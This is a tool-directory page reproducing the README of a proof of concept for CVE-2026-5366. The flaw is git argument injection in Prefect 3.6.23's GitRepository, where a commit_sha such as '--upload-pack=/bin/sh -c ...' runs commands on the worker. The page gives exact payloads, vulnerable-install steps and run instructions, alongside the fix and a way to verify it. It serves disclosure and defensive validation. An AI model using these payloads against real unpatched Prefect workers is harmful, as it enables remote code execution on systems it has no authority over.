Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/renat0z3r0/prefect-cve-2026-5366
Análise de VulnerabilidadesAnálise de CódigoExploraçãoTestes de PenetraçãoSegurança da Cadeia de SuprimentosAprendizado e Educação
GitHubrenat0z3r0/prefect-cve-2026-5366

prefect-cve-2026-5366

Prova de conceito para CVE-2026-5366: injeção de argumentos git no GitRepository do Prefect que leva a RCE no worker.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC: CVE-2026-5366 - Injeção de Argumentos Git no Prefect (GitRepository)

  • Vulnerability: injeção de argumentos git levando a RCE via commit_sha (mais injeção de argumentos via directories)
  • Version: vulnerável na 3.6.23, corrigido na 3.6.25+
  • File: src/prefect/runner/storage.py
  • Huntr: https://huntr.com/bounties/e2e88a0f-a8f6-49c9-94c5-e98dc385f07a
  • CVE: CVE-2026-5366

Disclaimer

Isto é uma prova de conceito para uma vulnerabilidade já divulgada e corrigida (corrigida no Prefect 3.6.25), publicada para fins educacionais e validação defensiva. Execute-a apenas contra softwares e sistemas que você possui ou está autorizado a testar. Se você usa Prefect, atualize para a versão 3.6.25 ou superior.

Repository layout

ArquivoFinalidade
poc.pyExecuta ambos os vetores de injeção contra uma instalação vulnerável e informa qual deles resulta em execução de código
run_offline.shExecutor sem rede: constrói um repositório local file:// e executa poc.py contra ele (a forma confiável de ver o RCE disparar)

Root cause (3.6.23, exact lines)

In src/prefect/runner/storage.py:

root@kitploit:~
# Line 174
if branch and commit_sha:
    raise ValueError(...)

# Line 181
self._commit_sha = commit_sha          # no validation whatsoever
...
self._directories = directories

Injection points (3.6.23 line numbers):

  • commit_sha:

    • pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]
    • pull_code() ~391: ["git", "checkout", self._commit_sha]
    • _clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]
    • _clone_repo() ~480: ["git", "checkout", self._commit_sha]
  • directories:

    • pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]
    • _clone_repo() ~489: (no separator)

On the commit_sha path, --upload-pack=<program> is interpreted by git fetch/git checkout as the pack program to run for the connection, so the program is executed locally on the worker machine. This is verified end-to-end (see "Verified results" below).

The directories path is genuine argument injection but is not an RCE vector via --upload-pack: git sparse-checkout set is a local command with no --upload-pack option, so the payload is rejected as an unknown flag. This asymmetry is mirrored by the upstream fix: commit_sha is rejected hard, while a ---leading directories entry only triggers a warning.

How the exploit works

The core is a git argument-injection trick on the commit_sha vector.

  1. No validation. In 3.6.23 the commit_sha value is stored verbatim (storage.py:181), with no checks beyond the branch/commit_sha mutual exclusion. Any string is accepted.

  2. It lands in a git argument position. When Prefect pulls code (pull_code() then _clone_repo()), the value is placed in a git argument list:

root@kitploit:~
["git", "fetch", "origin", self._commit_sha]   # storage.py:475
["git", "checkout", self._commit_sha]          # storage.py:480

This is an argument list (no shell), so there is no shell injection. The flaw is that there is no -- separator before the attacker-controlled value.

  1. --upload-pack is parsed as an option, not an argument. git treats anything starting with - as an option unless a -- separator precedes it. The payload:
root@kitploit:~
--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'

turns the command into:

root@kitploit:~
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'

--upload-pack=<program> is a legitimate option of git fetch/clone/ ls-remote: it names the program git runs to serve packs. When the remote is local (file://) or reached over SSH/local transport, git executes that program on the local machine.

  1. Result: RCE. git launches /bin/sh -c '...' in place of the real git-upload-pack helper, so the attacker's command runs on the Prefect worker. git then fails (sh doesn't speak the git protocol), but the side effect (code execution) has already happened, which is why the PoC ignores the resulting exception and only checks for the marker file.

Why the pre-test cleanup matters. If the destination already has a .git, Prefect takes the "update existing repo" path. Deleting it forces the full _clone_repo() path, which has the most direct fetch origin <value> + checkout <value> calls, the best injection sites.

Why directories does not give RCE. That value lands in git sparse-checkout set <value>, a local command with no --upload-pack option, so git rejects the payload as an unknown flag. It is still genuine argument injection, but not an RCE vector with this payload.

The fix (3.6.25). commit_sha must match ^[0-9a-fA-F]{4,64}$, so a --upload-pack=... payload is rejected with ValueError: Invalid commit SHA at construction time. For directories, the fix adds the -- separator in the git command (values can no longer be read as options) plus a warning.

Recommended PoC strategy

  1. Install exactly prefect==3.6.23
  2. Force cleanup of the destination directory before every test (this is the most important part)
  3. Trigger via direct GitRepository(..., commit_sha=..., directories=...).pull_code()
  4. Use timestamped markers so you can see which vector worked
  5. On a patched build (>= 3.6.25), confirm the malicious commit_sha is rejected at GitRepository(...) construction

Setup (vulnerable environment)

root@kitploit:~
python -m venv .venv-vuln
source .venv-vuln/bin/activate

pip install "prefect==3.6.23"

Or from source at the exact vulnerable tag:

root@kitploit:~
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .

Run the PoC

The reliable, self-contained way (builds a local file:// repo and runs both vectors):

root@kitploit:~
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh

You can also drive poc.py directly:

root@kitploit:~
python poc.py                                              # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py  # local repo

Important: git only honors --upload-pack on local and ssh transports. Against the default https remote the payload is inert, so python poc.py reports no marker even on vulnerable 3.6.23. Use run_offline.sh (or a file:// / ssh POC_TARGET_REPO) to see the RCE actually fire.

The script does aggressive cleanup (force_clean_destination) before each vector so it reliably hits the clone path (_clone_repo), which performs:

root@kitploit:~
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>

Precise payloads used in this PoC (3.6.23)

commit_sha:

root@kitploit:~
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"

directories:

root@kitploit:~
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]

These hit the raw argument positions in fetch / checkout and sparse-checkout set.

Verified results

Reproduced end-to-end, fully offline (local file:// bare repo via run_offline.sh), on Python 3.12:

Observed vulnerable-run marker content:

root@kitploit:~
EXPLOITED via commit_sha <date>

Clean up

root@kitploit:~
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*

Verify the fix (on >= 3.6.25)

On a patched install the malicious object fails to construct, before any git runs:

root@kitploit:~
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
              commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...

A ---leading directories entry only emits a warning (the real protection is the -- separator added to the git command).

References

  • Vulnerable tag: 3.6.23
  • Patch commit: 6a9d9918716ce4ee0297b69f3046f7067ef1faae
  • Pre-fix parent: 21b2838054c7231cee8cbe196fdadc67ee6c1c6d

Use responsibly (sure !!! :PpPPpp) and only on systems you control :-)

Baixar ferramenta
["git", "sparse-checkout", "set", *self._directories]
--
Versioncommit_shadirectories
3.6.23 (vulnerable)RCE achieved: marker file written during git fetch origin <payload>no marker: sparse-checkout set rejects the --upload-pack flag
3.6.25 (patched)neutralized: ValueError: Invalid commit SHA ... at GitRepository(...) constructionno marker: -- separator + warning